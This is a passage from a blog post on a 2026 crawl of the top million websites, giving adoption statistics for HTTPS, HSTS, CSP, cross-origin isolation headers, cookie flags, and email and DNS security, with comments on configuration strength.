decade</h3><p>Ten years is long enough to see some genuinely enormous swings. Measured from the very first crawl in 2015, the biggest risers are:</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Metric</th>\n<th>Aug 2015</th>\n<th>Jun 2026</th>\n<th>Change</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Content-Security-Policy</td>\n<td>1,365</td>\n<td>170,057</td>\n<td><strong>+12,360%</strong></td>\n</tr>\n<tr>\n<td>CSP-Report-Only</td>\n<td>211</td>\n<td>9,979</td>\n<td>+4,630%</td>\n</tr>\n<tr>\n<td>HSTS</td>\n<td>11,308</td>\n<td>252,846</td>\n<td>+2,140%</td>\n</tr>\n<tr>\n<td>Redirect to HTTPS</td>\n<td>62,043</td>\n<td>658,038</td>\n<td>+960%</td>\n</tr>\n<tr>\n<td>X-Content-Type-Options</td>\n<td>44,315</td>\n<td>311,659</td>\n<td>+603%</td>\n</tr>\n<tr>\n<td>X-Frame-Options</td>\n<td>55,042</td>\n<td>327,918</td>\n<td>+496%</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>CSP going from barely a thousand sites to 170,000+ — a <strong>125×</strong> increase — is the standout of the decade, without a doubt. It's great to see it finally getting the attention it deserves. </p><p>And the notable fallers and reversals, mostly more recent:</p><p><strong>EV certificates:</strong> 15,604 (2020 peak) → 4,186, a slow-motion collapse. If you're new to the Web, you may not have seen an EV certificate in action as their UI was removed back in 2019 (<a href=\"https://scotthelme.co.uk/gone-for-ever/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Gone forEVer</a>) and I've been tracking their decline since long before that (<a href=\"https://scotthelme.co.uk/sites-that-used-to-have-ev/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Sites that used to have EV</a>). It's weird to see that EV is still most popular in the highest ranked sites, I guess they have the money to burn?</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ev-certs.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ev-certs.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ev-certs.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ev-certs.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ev-certs.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><blockquote>A quick note if you've not read one of these crawler reports before, this is the typical form I present the graphs in. We have the top 1 million sites on the x-axis, in groups of 5,000 sites, and the y-axis shows how many sites in that group have the feature.</blockquote><p></p><p><strong>Feature-Policy:</strong> peaked and now declining as <strong>Permissions-Policy</strong> replaces it, this decline is a good thing as sites are responding to the changing standards. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/permissions-policy.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1079\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/permissions-policy.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/permissions-policy.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/permissions-policy.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/permissions-policy.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p><strong>X-XSS-Protection grew ~290%</strong> over the decade, to 163,114 sites. How odd. For a feature browsers have since <em>removed</em> entirely, it's doing spectacularly well...</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/xxp-1.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1046\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/xxp-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/xxp-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/xxp-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/xxp-1.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"https\">HTTPS</h3><p>658,038 sites now redirect to HTTPS, up about 12% from 589,979 in 2022. To put the ten-year arc in perspective, that figure was just <strong>62,043</strong> in 2015 — under 7% of the responding sites. HTTPS is now simply how the web works, and the long tail of plain-HTTP sites is shrinking every year. If you're somehow still in that tail, we have an excellent two-day course to get hands on with deploying HTTPS that you can check out: <a href=\"https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Practical TLS and PKI</a>. Here's the current state of HTTPS in the top 1 million sites.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-1.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1109\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-1.png 2033w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Next, let's take a look at HTTPS adoption over the years. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/https.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1045\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/https.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/https.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/https.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/https.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Just look at that rise in adoption! You can also see another similar trend in that sites at the higher end of the ranking (the left side of the graph) are more likely to deploy certain security measures like HTTPS and sites further down the ranking (the right side of the graph) are less likely.</p><p></p><h3 id=\"http-strict-transport-security\">HTTP Strict Transport Security</h3><p>HSTS continues its healthy growth: 252,846 sites now send the header, up 34% on 2022. Given that HSTS only makes sense once you're fully on HTTPS, it's reassuring to see it keep climbing rather than plateauing alongside HTTPS.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-4.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1109\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-4.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-4.png 2033w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>HSTS has shown huge growth over the last 10 years and now stands out as a very popular security mechanism.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/hsts.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1215\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/hsts.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/hsts.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/hsts.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/hsts.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>But presence isn't the same as a <em>good</em> configuration. Looking at how those sites actually set the header: only 49.8% include<strong> </strong><code>includeSubDomains</code>, 69.2% set a <code>max-age</code> of at least a year, and 29.2% send the <code>preload</code> directive — but when you require all three together, which is the real bar for the <a href=\"https://hstspreload.org/?ref=scotthelme.ghost.io\">preload list</a>, only 21% (53,019 sites) actually qualify. A lot of HSTS deployments are weaker than they look. If you want to get the directives (and <code>preload</code>) right, the <a href=\"https://scotthelme.co.uk/hsts-cheat-sheet/?ref=scotthelme.ghost.io\">HSTS Cheat Sheet</a> has you covered.</p><p></p><table>\n<thead>\n<tr>\n<th>Configuration</th>\n<th>Sites</th>\n<th>Share</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>max-age</code> ≥ 1 year</td>\n<td>174,988</td>\n<td>69.2%</td>\n</tr>\n<tr>\n<td><code>includeSubDomains</code></td>\n<td>125,826</td>\n<td>49.8%</td>\n</tr>\n<tr>\n<td><code>preload</code> directive</td>\n<td>73,792</td>\n<td>29.2%</td>\n</tr>\n<tr>\n<td><strong>Preload-eligible (all three)</strong></td>\n<td><strong>53,019</strong></td>\n<td><strong>21.0%</strong></td>\n</tr>\n</tbody>\n</table>\n<p></p><h3 id=\"security-headers\">Security Headers</h3><p>The core security headers continue to grow, and some of them dramatically. With some really simple and easy wins for security and privacy, it's nice to see continued increases in the numbers.</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Header</th>\n<th>Jun 2022</th>\n<th><strong>Jun 2026</strong></th>\n<th>Change</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Content-Security-Policy</td>\n<td>79,549</td>\n<td><strong>170,057</strong></td>\n<td>+114%</td>\n</tr>\n<tr>\n<td>Referrer-Policy</td>\n<td>70,928</td>\n<td><strong>229,130</strong></td>\n<td>+223%</td>\n</tr>\n<tr>\n<td>Permissions-Policy</td>\n<td>32,837</td>\n<td><strong>101,364</strong></td>\n<td>+209%</td>\n</tr>\n<tr>\n<td>X-Frame-Options</td>\n<td>201,170</td>\n<td><strong>327,918</strong></td>\n<td>+63%</td>\n</tr>\n<tr>\n<td>X-Content-Type-Options</td>\n<td>184,302</td>\n<td><strong>311,659</strong></td>\n<td>+69%</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p><a href=\"https://scotthelme.co.uk/a-new-security-header-referrer-policy/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Referrer-Policy</a> is the standout, more than tripling — it's cheap, safe, and increasingly set by default by frameworks and CDNs. CSP more than doubling is hugely encouraging given how hard it is to deploy well; if you're wrestling with one, reach out to us at <a href=\"https://report-uri.com/solutions/cross_site_scripting?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> and we'll make it easy. <a href=\"https://scotthelme.co.uk/goodbye-feature-policy-and-hello-permissions-policy/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Permissions-Policy</a> has tripled as it finishes replacing the deprecated <a href=\"https://scotthelme.co.uk/a-new-security-header-feature-policy/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Feature-Policy</a> (now down to 4,600 and falling).</p><p>One blemish: X-XSS-Protection is still being sent by 163,114 sites and is even still growing slightly, despite browsers having <em>removed</em> the feature entirely. It does nothing now, and in its day it could even introduce vulnerabilities. It's a header that should be deleted, not deployed.</p><p>Permissions-Policy, by contrast, is being used sensibly: the most-restricted features are the genuinely sensitive ones — geolocation (80.6%), microphone (79.5%) and camera (79.3%) — with payment, the motion sensors and USB close behind. (A lingering 5.8% still disable <code>interest-cohort</code>, the <a href=\"https://scotthelme.co.uk/what-the-floc/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">FLoC opt-out</a> for a feature that no longer exists.)</p><p></p><table>\n<thead>\n<tr>\n<th>Feature</th>\n<th>Sites</th>\n<th>Share</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>geolocation</td>\n<td>81,534</td>\n<td>80.6%</td>\n</tr>\n<tr>\n<td>microphone</td>\n<td>80,418</td>\n<td>79.5%</td>\n</tr>\n<tr>\n<td>camera</td>\n<td>80,148</td>\n<td>79.3%</td>\n</tr>\n<tr>\n<td>payment</td>\n<td>66,674</td>\n<td>65.9%</td>\n</tr>\n<tr>\n<td>gyroscope</td>\n<td>63,834</td>\n<td>63.1%</td>\n</tr>\n<tr>\n<td>magnetometer</td>\n<td>63,630</td>\n<td>62.9%</td>\n</tr>\n<tr>\n<td>usb</td>\n<td>62,608</td>\n<td>61.9%</td>\n</tr>\n<tr>\n<td>accelerometer</td>\n<td>61,517</td>\n<td>60.8%</td>\n</tr>\n<tr>\n<td>clipboard-write</td>\n<td>51,795</td>\n<td>51.2%</td>\n</tr>\n<tr>\n<td>fullscreen</td>\n<td>12,308</td>\n<td>12.2%</td>\n</tr>\n<tr>\n<td>autoplay</td>\n<td>7,324</td>\n<td>7.2%</td>\n</tr>\n<tr>\n<td>interest-cohort (FLoC, dead)</td>\n<td>5,872</td>\n<td>5.8%</td>\n</tr>\n</tbody>\n</table>\n<p></p><h3 id=\"csp-presence-vs-strength-new\">CSP: presence vs strength (new)</h3><p>With a 114% increase since just the last crawler report, CSP has continued to see strong growth.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-2.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1109\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-2.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-2.png 2033w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>The higher ranked sites to the left are much more likely to deploy a CSP, whilst the lower ranked sites to the right are less likely to deploy a CSP. One of the really key points with CSP is the explosive growth in adoption over the years, made clear when we look at the historic data.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/csp.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1075\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/csp.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/csp.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/csp.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/csp.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Growth is one thing; <em>strength</em> is another, and CSP is where the gap shows most. Looking inside all 170,057 policies:</p><ul><li>46.8% still contain <code>unsafe-inline</code> and 41.9% <code>unsafe-eval</code> — directives that substantially undermine a policy's protection against <a href=\"https://report-uri.com/solutions/cross_site_scripting?ref=scotthelme.ghost.io\" rel=\"noreferrer\">XSS</a>.</li><li>Only 24.7% use a <code>nonce</code>, a mere 1.6% use <code>strict-dynamic</code>, and a vanishing 0.2% (just 318 sites) use <code>require-trusted-types-for</code>, the strongest defence we have against DOM-based XSS.</li><li>On the brighter side, 45.9% set <code>frame-ancestors</code> and 32.7% use <code>upgrade-insecure-requests</code>.</li></ul><p>So while CSP adoption has more than doubled, nearly half of all policies are in need of some TLC. Setting a CSP is the easy part; getting to a strong policy, that requires a little work.</p><p></p><table>\n<thead>\n<tr>\n<th>Directive</th>\n<th>Sites</th>\n<th>Share</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>unsafe-inline</code></td>\n<td>79,464</td>\n<td>46.8%</td>\n</tr>\n<tr>\n<td><code>frame-ancestors</code></td>\n<td>77,873</td>\n<td>45.9%</td>\n</tr>\n<tr>\n<td><code>unsafe-eval</code></td>\n<td>71,094</td>\n<td>41.9%</td>\n</tr>\n<tr>\n<td><code>upgrade-insecure-requests</code></td>\n<td>55,452</td>\n<td>32.7%</td>\n</tr>\n<tr>\n<td><code>nonce-…</code></td>\n<td>41,936</td>\n<td>24.7%</td>\n</tr>\n<tr>\n<td>has reporting (<code>report-uri</code>/<code>report-to</code>)</td>\n<td>8,134</td>\n<td>4.8%</td>\n</tr>\n<tr>\n<td><code>strict-dynamic</code></td>\n<td>2,774</td>\n<td>1.6%</td>\n</tr>\n<tr>\n<td><code>require-trusted-types-for</code> (Trusted Types)</td>\n<td>318</td>\n<td>0.2%</td>\n</tr>\n</tbody>\n</table>\n<p></p><h3 id=\"the-cross-origin-isolation-family-new\">The cross-origin isolation family (new)</h3><p>For the first time, I've updated the crawler to track the <a href=\"https://scotthelme.co.uk/coop-and-coep/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">modern cross-origin isolation headers</a>, and adoption is already meaningful:</p><p></p><ul><li>Cross-Origin-Opener-Policy (COOP): 97,929 (+ 1,553 report-only)</li><li>Cross-Origin-Resource-Policy (CORP): 57,719</li><li>Cross-Origin-Embedder-Policy (COEP): 54,459 (+ 1,550 report-only)</li><li>Origin-Agent-Cluster: 53,415</li></ul><p></p><p>These are the headers that unlock cross-origin isolation and harden you against a whole class of cross-origin and Spectre-style attacks. Seeing them already on tens of thousands of sites is a good sign that the next generation of isolation primitives is taking root.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/cross-origin.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1100\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/cross-origin.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/cross-origin.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/cross-origin.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/cross-origin.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Looking at the general trend, we can see that these headers are more popular on the higher ranked sites, but there's also a very odd trend with COOP in the middle of the ranking! I've not looked into this enough to determine why that huge spike exists, but the raw data is available if you'd like to do some investigation.</p><p></p><h3 id=\"the-reporting-api-explosion\">The Reporting API explosion</h3><p>Reporting is the metric that's exploded the most since the last report. Report-To is now on 289,021 sites and NEL on 285,620 — both an order of magnitude higher than the ~12,000 we saw back in 2020, almost entirely because Cloudflare enables Network Error Logging by default for the sites behind it. The modern successor, Reporting-Endpoints, is just getting started at 3,920 sites.</p><p>Just how concentrated is it? Of all those Report-To endpoints, <code>a.nel.cloudflare.com</code> appears on 279,362 of them — about 97% — so this entire metric is, in effect, one company's default. The rest is a long tail: Google's <code>csp.withgoogle.com</code> (1,378), Heroku's NEL endpoint (1,257), and a scattering of others. <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\">Report URI</a> is the destination on 865 sites across their CSP and Report-To configurations (210 of them in the <code>Report-To</code> header specifically) — which, as the person who runs it, I'm always happy to see. Sadly, we're under-represented in the numbers based on our typical customer's deployment model. The crawler is only looking at the homepage of each site and we have large numbers of customers that only deploy our solution on sensitive areas of their site like account sections, payment flows, etc.</p><p></p><h3 id=\"securitytxt\">security.txt</h3><p>A modest year for <a href=\"https://scotthelme.co.uk/say-hello-to-security-txt/?ref=scotthelme.ghost.io\">security.txt</a>: 9,927 sites publish a valid <code>/.well-known/security.txt</code>, up about 10% on 2022. It's now an RFC and a genuinely useful way to receive vulnerability reports, so I'd love to see this one continue to grow.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/security-txt.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/security-txt.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/security-txt.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/security-txt.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/security-txt.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"what-your-headers-give-away-new\">What your headers give away (new)</h3><p>This year I started analysing the information-disclosure headers, and the results are a nice reminder that plenty of sites are still broadcasting their stack to anyone who asks. The most common <code>X-Powered-By</code> values:</p><p></p><ul><li><code>ASP.NET</code> — 22,035</li><li><code>Next.js</code> — 17,541</li><li><code>PleskLin</code> — 15,023</li><li><code>WP Engine</code> — 10,445</li><li><strong><code>PHP/7.4.33</code> — 9,264</strong></li></ul><p></p><p>That last one is the interesting one: 9,264 sites are advertising an exact, end-of-life PHP version (7.4 stopped receiving security updates back in 2022). That's a gift to an attacker — free reconnaissance, handed over in a response header. There's no upside to sending <code>X-Powered-By</code>; turn it off.</p><p></p><h3 id=\"http3-and-http-versions\">HTTP/3 and HTTP versions</h3><p>The transport layer keeps modernising. HTTP/2 is now on 570,952 sites (up from 454,560 in 2022), HTTP/1.1 has fallen to 247,392, and HTTP/1.0 is nearly gone at 630. HTTP/3 isn't negotiated directly by the crawler, but I now measure its advertisement via the <code>Alt-Svc</code> header, and 356,380 sites advertise <code>h3</code> — a huge footprint, driven by Cloudflare and the other big CDNs enabling it by default.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/http-versions-1.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1003\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/http-versions-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/http-versions-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/http-versions-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/http-versions-1.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"cookies-new\">Cookies (new)</h3><p>For the first time I've recorded the security attributes on <code>Set-Cookie</code> headers (flags only — no cookie values are ever stored). Of the 314,878 sites that set at least one cookie:</p><p></p><ul><li>Secure: 189,528</li><li>HttpOnly: 223,384</li><li>SameSite: 176,300</li><li><code>__Host-</code> prefix: 802</li><li><code>__Secure-</code> prefix: 1,913</li></ul><p></p><p>So a majority of cookie-setting sites get the basics (<code>HttpOnly</code>, <code>Secure</code>) right, but the genuinely robust cookie-hardening primitives — the <code>__Host-</code> and <code>__Secure-</code> prefixes — are barely used at all. There's a lot of headroom here, they're free, and you can find all of the information in my blog post <a href=\"https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Tough Cookies</a>.</p><p></p><h3 id=\"email-dns-security-new\">Email & DNS security (new)</h3><p>The crawler now performs a whole bunch of DNS lookups alongside the HTTP request too, which surfaces a set of metrics this report has never covered. DMARC: 398,597 sites publish a <a href=\"https://scotthelme.co.uk/email-security-dmarc/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">DMARC record</a>, and the split is interesting:</p><p></p><table>\n<thead>\n<tr>\n<th>Policy</th>\n<th>Count</th>\n<th>Share</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>p=none (monitor only)</td>\n<td>204,769</td>\n<td>51.4%</td>\n</tr>\n<tr>\n<td>p=quarantine</td>\n<td>100,134</td>\n<td>25.1%</td>\n</tr>\n<tr>\n<td>p=reject</td>\n<td>93,264</td>\n<td>23.4%</td>\n</tr>\n</tbody>\n</table>\n<p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dmarc.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/dmarc.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/dmarc.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/dmarc.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/dmarc.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Roughly half are still in monitor-only mode and haven't turned on real protection. Looking further:</p><p></p><ul><li><a href=\"https://scotthelme.co.uk/email-security-spf/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">SPF</a>: 538,011 sites.</li><li>IPv6 (AAAA): 344,430 sites — IPv6 is still a minority at ~42%, a decade into \"the year of IPv6\".</li><li>DNSSEC: 73,405 sites — persistently low, as it always has been.</li></ul><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/spf.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/spf.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/spf.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/spf.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/spf.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ipv6.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1108\" 